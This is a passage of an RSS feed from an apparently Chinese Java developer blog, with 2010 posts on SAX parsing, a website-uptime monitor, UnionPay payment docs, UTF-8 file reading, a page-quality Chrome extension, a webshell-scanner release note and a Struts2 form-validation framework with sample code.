&lt;p&gt;&lt;span style="font-size: x-small;"&gt;在XMLReader接受XML文档，在读入XML文档的过程中就进行解析，也就是说读入文档的过程和解析的过程是同时进行的，这和DOM区别很大。解析开始之前，需要向XMLReader注册一个ContentHandler，也就是相当于一个事件监听器，在 ContentHandler中定义了很多方法，比如startDocument()，它定制了当在解析过程中，遇到文档开始时应该处理的事情。当 XMLReader读到合适的内容，就会抛出相应的事件，并把这个事件的处理权代理给ContentHandler，调用其相应的方法进行响应。&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=247</guid><pubDate>Thu, 01 Jul 2010 10:23:40 GMT</pubDate></item><item><title>JAVA网站状态监控程序【原创】</title><link>http://www.chendw.cn:8080/view.aspx?id=245</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/06/5ba9ecac922a4be981bd6be150bd106c.jpg" target="_blank"&gt;&lt;/a&gt;程序主要功能是定时去检测下网站的状态看页面是否能正常访问，如果异常则会向指定的邮箱发送邮件，建议配合139邮箱使用，因为139邮箱在收到邮件后会发短信到手机上。&lt;/p&gt;
&lt;!--more--&gt;
&lt;div&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;软件环境：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;1、环境变量里配置jdk1.5的 java_home&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;2、配置监控的时间间隔：conf/jobs.xml&amp;nbsp; 具体的配置规则可以参考quartz框架的配置说明&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;cron-expression&amp;gt;1/5 * * * * ?&amp;lt;/cron-expression&amp;gt; 每隔5秒检测&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;cron-expression&amp;gt;1/20 * * * * ?&amp;lt;/cron-expression&amp;gt; 每隔20秒检测&lt;/div&gt;
&lt;div&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;3、配置监控的网站列表：conf/website.xml 配置规则见文件里面注释&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;截图：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/06/5ba9ecac922a4be981bd6be150bd106c.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2010/06/5ba9ecac922a4be981bd6be150bd106c.jpg" alt="Catch3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击下面的地址下载：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2010/06/2389550df64b496a89b6cc369ce0ef43.zip" target="_blank"&gt;NetMoniter.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;如果需要源代码请留言，转摘请注明原出处，谢谢！&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=245</guid><pubDate>Sun, 20 Jun 2010 12:26:20 GMT</pubDate></item><item><title>银联在线支付接口文档以及客户端[netpay\chinapay]</title><link>http://www.chendw.cn:8080/view.aspx?id=244</link><description>&lt;p&gt;由于业务需要近期接到了一个整合银联支付的任务，和之前做过的支付宝的大同小异，下面是一些资料以及简单的java写的demo程序。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2010/05/5552b64a6514474f80ca4ca8d0835c65.doc" target="_blank"&gt;netpayClient.doc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2010/05/a0751bd5093541ce9ec8b4ccff3edaa7.rar" target="_blank"&gt;NETPAY.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2010/05/25ec5698a1f94542b519a4dda6bd3e03.rar" target="_blank"&gt;NetPayClinet2.5_java.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=244</guid><pubDate>Sun, 13 Jun 2010 02:00:20 GMT</pubDate></item><item><title>JAVA读取UTF-8编码格式的文件乱码解决</title><link>http://www.chendw.cn:8080/view.aspx?id=243</link><description>&lt;p&gt;public String ReadFile(String s_FileName) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;String s_Result = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;BufferedReader buf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf = new BufferedReader(new InputStreamReader(new FileInputStream(s_FileName), "UTF-8"));&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;String line = null;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int flag = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ((line = buf.readLine()) != null) {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (flag == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;line = line.substring(1);// 去掉文件头&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s_Result += line;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf.close();&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;} catch (UnsupportedEncodingException e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println(e.getMessage());&lt;br /&gt;&amp;nbsp;&amp;nbsp;} catch (FileNotFoundException e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println(e.getMessage());&lt;br /&gt;&amp;nbsp;&amp;nbsp;} catch (IOException e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println(e.getMessage());&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;return s_Result;&lt;br /&gt;&amp;nbsp;}&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=243</guid><pubDate>Fri, 14 May 2010 00:59:53 GMT</pubDate></item><item><title>Monster For Chrome</title><link>http://www.chendw.cn:8080/view.aspx?id=242</link><description>&lt;p&gt;Monster是Alipay UED推出的网站代码分析、质量检测及评分的浏览器扩展，它能智能分析CSS、JS、HTML内容并生动形象展示网页得分情况(类似YSlow)。它是一个开源项目，您可以在GoogleCode中心检出&lt;a href="https://code.google.com/p/monsterforchrome/"&gt;MonsterForChrome&lt;/a&gt;项目源代码。不久会推出Firefox版扩展。&lt;/p&gt;
&lt;h3&gt;下载及演示&lt;!--more--&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://chrome.google.com/extensions/detail/dcnccmmdjdapgpnjhdakbjdncokmgonf" target="_blank"&gt;下载Monster&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://v.youku.com/v_show/id_XMTcwNDg2Mjgw.html" target="_blank"&gt;视频演示(低质量)&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://ued.alipay.com/wp-content/uploads/2010/05/MonsterUI.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://ued.alipay.com/wp-content/uploads/2010/05/MonsterUI.png"&gt;&lt;img title="MonsterUI" src="http://ued.alipay.com/wp-content/uploads/2010/05/MonsterUI.png" alt="" width="500" height="357" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Monster主要检测规则：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;检测是否有重复ID的标签； &lt;/li&gt;
&lt;li&gt;检测是否使用内联标签嵌套块级标签，如a嵌套div； &lt;/li&gt;
&lt;li&gt;检测https协议页面，是否使用了http协议的图片、JS、CSS等； &lt;/li&gt;
&lt;li&gt;检测compatMode、doctype是否出错； &lt;/li&gt;
&lt;li&gt;检测是否使用了HTML5不再支持的标记，如font,s,u等； &lt;/li&gt;
&lt;li&gt;检测标签是否正确关闭； &lt;/li&gt;
&lt;li&gt;检测CSS、JS、background-image文件是否为404； &lt;/li&gt;
&lt;li&gt;检测CSS、JS文件是否重复调用； &lt;/li&gt;
&lt;li&gt;检测是否引用过多外部JS、CSS文件； &lt;/li&gt;
&lt;li&gt;检测CSS、JS、HTML是否压缩； &lt;/li&gt;
&lt;li&gt;检测CSS样式表是否使用了CSS expression； &lt;/li&gt;
&lt;li&gt;检测Cookie是否超过30KB； &lt;/li&gt;
&lt;li&gt;检测是否有form标签嵌套form标签； &lt;/li&gt;
&lt;li&gt;检测是否直接在标签里定义JS事件，如&amp;lt;a href=&amp;rdquo;#&amp;rdquo; onclick=&amp;rdquo;&amp;hellip;&amp;rdquo;&amp;gt;link&amp;lt;/a&amp;gt;； &lt;/li&gt;
&lt;li&gt;检测&amp;lt;meta charset=&amp;rdquo;utf-8&amp;Prime; /&amp;gt;是否为&amp;lt;head&amp;gt;第一个子标签； &lt;/li&gt;
&lt;li&gt;检测一个&amp;lt;form&amp;gt;标签内部是否出现二个input[type=submit]标签； &lt;/li&gt;
&lt;li&gt;检测是否在&amp;lt;form&amp;gt;标签中使用了 id=&amp;rdquo;submit&amp;rdquo; 的标签； &lt;/li&gt;
&lt;li&gt;检测是否将&amp;lt;style&amp;gt;块放置在&amp;lt;/head&amp;gt;前面； &lt;/li&gt;
&lt;li&gt;检测是否将&amp;lt;script&amp;gt;块放置在&amp;lt;/body&amp;gt;前面； &lt;/li&gt;
&lt;li&gt;检测&amp;lt;img&amp;gt;标签是否指定alt属性； &lt;/li&gt;
&lt;li&gt;检测是否为input[text]指定label； &lt;/li&gt;
&lt;li&gt;检测网页编码是否为gbk或utf-8； &lt;/li&gt;
&lt;li&gt;检测是否使用了@import导入样式表； &lt;/li&gt;
&lt;li&gt;如果CSS、JS指定 类似于&amp;ldquo;?t=20100405&amp;rdquo;时间戳，则自动输出最后修改时间，方便对比； &lt;/li&gt;
&lt;li&gt;如果background-image超过6个，则提示所有背景图片及大小，超过30KB，标红显示； &lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Monster评分规则：&lt;/h3&gt;
&lt;p&gt;Monster是根据问题解决难易程度、性能提升程度、可用性提升程度以及维护性提升程度来综合评分的。具体，请下载 &lt;a href="http://code.google.com/p/monsterforchrome/source/browse/trunk/Monster%E8%AF%84%E5%88%86%E7%AE%97%E6%B3%95.xls" target="_blank"&gt;Monster评分算法.xls&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是Monster的第一版，欢迎抓虫，如果您有更好的改进建议，请反馈给我们。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=242</guid><pubDate>Tue, 11 May 2010 11:07:06 GMT</pubDate></item><item><title>[反黑工具]网站木马扫描器(Webshell Scanner)</title><link>http://www.chendw.cn:8080/view.aspx?id=241</link><description>&lt;p&gt;专业网站后门检测软件，可以迅速帮助网管找到网站遭到入侵后黑客留下的后门。&lt;/p&gt;
&lt;p&gt;网站恶意&lt;span onclick="tagshow(event)"&gt;木马&lt;/span&gt;&lt;span onclick="tagshow(event)"&gt;扫描器&lt;/span&gt;(&lt;span onclick="tagshow(event)"&gt;Web&lt;/span&gt;shell Scanner)V1.1版本正式发布，本版本增加了更多&lt;span onclick="tagshow(event)"&gt;检测&lt;/span&gt;规则，请广大&lt;span onclick="tagshow(event)"&gt;用户&lt;/span&gt;及时更新新版本。&lt;br /&gt;&lt;br /&gt;更新说明：&lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;1.添加自动升级模块，.net环境下可完成在线升级；&lt;br /&gt;&lt;br /&gt;2.无需.net环境运行&lt;span onclick="tagshow(event)"&gt;扫描&lt;/span&gt;程序；&lt;br /&gt;&lt;br /&gt;3.添加asp规则，主要针对asp的&lt;span onclick="tagshow(event)"&gt;webshell&lt;/span&gt;绕过机制；&lt;br /&gt;&lt;br /&gt;4.更新php规则，添加了eval下运行的少数加密函数；&lt;br /&gt;&lt;br /&gt;5.增加了利用IIS6.0文件夹解析&lt;span onclick="tagshow(event)"&gt;漏洞&lt;/span&gt;以及文件解析漏洞隐藏的shell的检查；&lt;br /&gt;&lt;br /&gt;6.修复一处bug(驱动器下第一层目录无法扫描)。&lt;br /&gt;&lt;br /&gt;&lt;span onclick="tagshow(event)"&gt;下载&lt;/span&gt;地址：&lt;a href="http://sales.yxlink.com/download.html" target="_blank"&gt;http://sales.yxlink.com/download.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;如有问题，请访问铱迅信息官方&lt;span onclick="tagshow(event)"&gt;论坛&lt;/span&gt;进行反馈：&lt;a href="http://bbs.yxlink.com/forum-5-1.html" target="_blank"&gt;http://bbs.yxlink.com/forum-5-1.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;使用帮助：&lt;br /&gt;&lt;br /&gt;1.如果服务器支持.net环境，直接运行WebshellScanner.exe即可；&lt;br /&gt;&lt;br /&gt;2.如果服务器不支持.net环境，请运行StartWscanner.exe；&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=241</guid><pubDate>Wed, 28 Apr 2010 02:06:29 GMT</pubDate></item><item><title>放两个腾讯微博邀请码</title><link>http://www.chendw.cn:8080/view.aspx?id=240</link><description>&lt;p&gt;增加点人气，放两个腾讯的微博邀请码！&lt;/p&gt;
&lt;p&gt;&lt;a href="http://t.qq.com/invite/ae7540bd"&gt;http://t.qq.com/invite/ae7540bd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://t.qq.com/invite/355b2042"&gt;http://t.qq.com/invite/355b2042&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=240</guid><pubDate>Sat, 24 Apr 2010 14:23:17 GMT</pubDate></item><item><title>Struts2极速表单验证开源框架发布(MIT许可)</title><link>http://www.chendw.cn:8080/view.aspx?id=239</link><description>&lt;p&gt;&lt;img src="http://code.google.com/p/struts-plus/logo?logo_id=1263898530" alt="Logo" /&gt;&amp;nbsp; &lt;a title="http://code.google.com/p/struts-plus/" href="http://code.google.com/p/struts-plus/"&gt;http://code.google.com/p/struts-plus/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;完整说明文档请下载: &lt;a title="http://struts-plus.googlecode.com/files/Struts2QuickValidation.pdf" href="http://struts-plus.googlecode.com/files/Struts2QuickValidation.pdf"&gt;http://struts-plus.googlecode.com/files/Struts2QuickValidation.pdf&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;效果演示:&lt;/p&gt;
&lt;p&gt;&lt;img style="display: inline; border-width: 0px;" title="clip_image002" src="http://www.blogjava.net/images/blogjava_net/beansoft/WindowsLiveWriter/Struts2MIT_A069/clip_image002_3.jpg" border="0" alt="clip_image002" width="494" height="578" /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Struts Plus, Struts + 项目, 计划包含极速表单验证框架, 权限管理等子模块. 目前主要关注于 Struts 2 方面的生产力提高项目, 主要基于注解方式进行增强, 并提供抽象层, 使项目仅仅依赖于 Struts 本身, 而不需要强制您使用某种业务层和数据层框架. 项目的许可采用MIT协议, 您可自由的使用本项目, 但需遵循MIT协议保留本人版权签名及MIT协议本身.&lt;/p&gt;
&lt;p&gt;本文主要讲述子模块Struts 2 极速表单验证框架(Struts 2 QuickFormValidation).&lt;/p&gt;
&lt;p&gt;本验证机制基于表达式和注解(Annotation), 验证规则的扩展通过实现验证接口进行.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;诞生历史:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2009年12月18日晚提出框架原理, 并于2009年12月19日晨提出实现思路, 最终框架核心初步完成于2009年12月20日(周日), 2010-01-20日整理发布.&lt;/p&gt;
&lt;p&gt;在项目的开发中, 表单验证需要用去开发者大量的时间, 尤其是为了保证前后台的验证规则一致时, 更是需要大量的人力物力. 虽然Struts 2本身的验证框架可以保证前后台一致, 但在使用和整合方式上, 需要编写大量的Validation XML文件, 费力费时容易出错, 尤其是实际开发中需要反复调整各种验证规则及其组合, 这时就更加困难; 扩展Struts 2的验证框架更是需要比较繁琐的步骤. 针对这些挑战, 笔者试图提供一种简便易用的方式来进行表单验证, 即基于Java注解和验证规则表达式.&lt;/p&gt;
&lt;p&gt;如下面的代码即可实现如下的验证要求: 1) 用户名不能为空, 最小长度5, 最大长度10, 只能输入英文字母; 2) 年龄字段只能输入数字, 最小值为18, 最大值为100; 验证失败时, 转向input页面并显示出错信息: ${validationErrors}.&lt;/p&gt;
&lt;table border="1" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="568" valign="top"&gt;
&lt;p&gt;@FormValidator(input="form_tag", value="user.name,用户名,required min-length-5 max-length-10 validate-alpha;" +&lt;/p&gt;
&lt;p&gt;"age,年龄,validate-digits min-value-18 max-value-100;")&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;public&lt;/strong&gt; String form_tag() &lt;strong&gt;throws&lt;/strong&gt; Exception {&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;return&lt;/strong&gt; &lt;em&gt;SUCCESS&lt;/em&gt;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a name="子模块1:Struts_2_极速表单验证框架(已推出)"&gt;最快速的后台表单验证框架&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;简洁,快速的验证语法 &lt;/li&gt;
&lt;li&gt;无需编写验证提示信息 &lt;/li&gt;
&lt;li&gt;错误消息在指定地方显示 &lt;/li&gt;
&lt;li&gt;支持组合验证 &lt;/li&gt;
&lt;li&gt;易于扩展 &lt;/li&gt;
&lt;li&gt;基于标准的Java Annotation添加验证,易于和现有项目的无缝集成 &lt;/li&gt;
&lt;li&gt;特殊应用场景支持,如:密码确认,结束日期必须大于开始日期 &lt;/li&gt;
&lt;li&gt;支持前后台一致的验证规则 &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本框架主要是为了和前台基于JavaScript的开源验证框架RapidValidation(&lt;a href="http://code.google.com/p/rapid-validation/"&gt;http://code.google.com/p/rapid-validation/&lt;/a&gt; )使用统一的验证规则, 最大限度的减少重复的后台验证代码, 使用方式简便, 扩展方便.&lt;/p&gt;
&lt;p&gt;本框架依赖于:&lt;/p&gt;
&lt;p&gt;l Struts 2&lt;/p&gt;
&lt;p&gt;l Java 5或者更高版本&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;hellip;.&lt;/p&gt;
&lt;h3&gt;&lt;a name="_Toc251749754"&gt;1 下载本项目&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;您可访问&lt;a href="http://code.google.com/p/struts-plus/downloads/list"&gt;http://code.google.com/p/struts-plus/downloads/list&lt;/a&gt; 来获取最新源代码包&lt;/p&gt;
&lt;table border="1" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;strong&gt;文件名&lt;/strong&gt; &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="41%" valign="top"&gt;
&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt; &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;strong&gt;大小&lt;/strong&gt; &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;&lt;a href="http://struts-plus.googlecode.com/files/struts2-quickvalidation-plugin-1.0-src.jar"&gt;struts2-quickvalidation-plugin-1.0-src.jar &lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="41%" valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-plugin-1.0-src.jar&amp;amp;can=2&amp;amp;q="&gt;Struts 2 QuickFormValidation 1.0 sources 源码 &lt;/a&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/list?q=label:Featured"&gt;Featured&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-plugin-1.0-src.jar&amp;amp;can=2&amp;amp;q="&gt;26.8 KB &lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;&lt;a href="http://struts-plus.googlecode.com/files/struts2-quickvalidation-plugin-1.0.jar"&gt;struts2-quickvalidation-plugin-1.0.jar &lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="41%" valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-plugin-1.0.jar&amp;amp;can=2&amp;amp;q="&gt;Struts 2 QuickFormValidation 1.0 jar &lt;/a&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/list?q=label:Featured"&gt;Featured&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-plugin-1.0.jar&amp;amp;can=2&amp;amp;q="&gt;26.8 KB &lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;&lt;a href="http://struts-plus.googlecode.com/files/struts2-quickvalidation-demo.war"&gt;struts2-quickvalidation-demo.war &lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="41%" valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-demo.war&amp;amp;can=2&amp;amp;q="&gt;演示war包,部署至Tomcat6运行 &lt;/a&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/list?q=label:Featured"&gt;Featured&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/struts-plus/downloads/detail?name=struts2-quickvalidation-demo.war&amp;amp;can=2&amp;amp;q="&gt;3.4 MB &lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top"&gt;
&lt;p&gt;&lt;a href="http://struts-plus.googlecode.com/files/Javascript_RapidValidation.pdf"&gt;Javascript_RapidValidation.pdf&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="41%" valign="top"&gt;
&lt;p&gt;JavaScript Rapid Validation框架的详细使用及规则说明文档(转载)&lt;/p&gt;
&lt;/td&gt;
&lt;td valign="top"&gt;
&lt;p&gt;176KB&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;a name="_Toc251749755"&gt;1 演示应用&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;可下载示例应用来体验Struts极速验证框架, 下载地址为:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://struts-plus.googlecode.com/files/struts2-quickvalidation-demo.war"&gt;http://struts-plus.googlecode.com/files/struts2-quickvalidation-demo.war&lt;/a&gt; . 放入Tomcat后即可查看运行效果. 您可以本demo应用为基础快速的进行开发.&lt;/p&gt;
&lt;p&gt;本演示包含三个内容:&lt;/p&gt;
&lt;p&gt;纯后台表单验证&lt;/p&gt;
&lt;p&gt;前后台一致表单验证(前台验证基于RaplidValidation)&lt;/p&gt;
&lt;p&gt;前后台一致表单验证(Struts 2 Form 标签)&lt;/p&gt;
&lt;p&gt;本war包中的唯一的.java文件源码如下:&lt;/p&gt;
&lt;table border="1" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="568" valign="top"&gt;
&lt;p&gt;&lt;strong&gt;package&lt;/strong&gt; actions;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;import&lt;/strong&gt; com.opensymphony.xwork2.ActionSupport;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;import&lt;/strong&gt; common.validation.FormValidator;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;public&lt;/strong&gt; &lt;strong&gt;class&lt;/strong&gt; HelloWorldAction &lt;strong&gt;extends&lt;/strong&gt; ActionSupport {&lt;/p&gt;
&lt;p&gt;// 或者implements Action {&lt;/p&gt;
&lt;p&gt;@FormValidator(input="form", value="user.name,用户名,required min-length-5 max-length-10 validate-alpha;" +&lt;/p&gt;
&lt;p&gt;"age,年龄,validate-digits min-value-18 max-value-100;" +&lt;/p&gt;
&lt;p&gt;"password,密码,required;" +&lt;/p&gt;
&lt;p&gt;"password2,重复密码,required equals-password-原始密码;" +&lt;/p&gt;
&lt;p&gt;"email,,validate-email;" +&lt;/p&gt;
&lt;p&gt;"gender,性别,validate-one-required;" +&lt;/p&gt;
&lt;p&gt;"ip,,validate-ip;" +&lt;/p&gt;
&lt;p&gt;"date,生日,validate-date;" +&lt;/p&gt;
&lt;p&gt;"num1,数字1,validate-number;" +&lt;/p&gt;
&lt;p&gt;"num2,数字2,validate-number less-than-num1-数字1;" +&lt;/p&gt;
&lt;p&gt;"float,数字范围,float-range-1-10;" +&lt;/p&gt;
&lt;p&gt;"address,地址,validate-chinese;" +&lt;/p&gt;
&lt;p&gt;"zip,邮编,validate-zip;" +&lt;/p&gt;
&lt;p&gt;"id_num,身份证,validate-id")&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;public&lt;/strong&gt; String form() &lt;strong&gt;throws&lt;/strong&gt; Exception {&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;return&lt;/strong&gt; &lt;em&gt;SUCCESS&lt;/em&gt;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;@FormValidator(input="form_js", value="user.name,用户名,required min-length-5 max-length-10 validate-alpha;" +&lt;/p&gt;
&lt;p&gt;"age,年龄,validate-digits min-value-18 max-value-100;" +&lt;/p&gt;
&lt;p&gt;"password,密码,required;" +&lt;/p&gt;
&lt;p&gt;"password2,重复密码,required equals-password-原始密码;" +&lt;/p&gt;
&lt;p&gt;"email,,validate-email;" +&lt;/p&gt;
&lt;p&gt;"gender,性别,validate-one-required;" +&lt;/p&gt;
&lt;p&gt;"ip,,validate-ip;" +&lt;/p&gt;
&lt;p&gt;"date,生日,validate-date;" +&lt;/p&gt;
&lt;p&gt;"num1,数字1,validate-number;" +&lt;/p&gt;
&lt;p&gt;"num2,数字2,validate-number less-than-num1-数字1;" +&lt;/p&gt;
&lt;p&gt;"float,数字范围,float-range-1-10;" +&lt;/p&gt;
&lt;p&gt;"address,地址,validate-chinese;" +&lt;/p&gt;
&lt;p&gt;"zip,邮编,validate-zip;" +&lt;/p&gt;
&lt;p&gt;"id_num,身份证,validate-id")&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;public&lt;/strong&gt; String form_js() &lt;strong&gt;throws&lt;/strong&gt; Exception {&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;return&lt;/strong&gt; &lt;em&gt;SUCCESS&lt;/em&gt;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;@FormValidator(input="form_tag", value="user.name,用户名,required min-length-5 max-length-10 validate-alpha;" +&lt;/p&gt;
&lt;p&gt;"age,年龄,validate-digits min-value-18 max-value-100;")&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;public&lt;/strong&gt; String form_tag() &lt;strong&gt;throws&lt;/strong&gt; Exception {&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;return&lt;/strong&gt; &lt;em&gt;SUCCESS&lt;/em&gt;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;/td&gt;
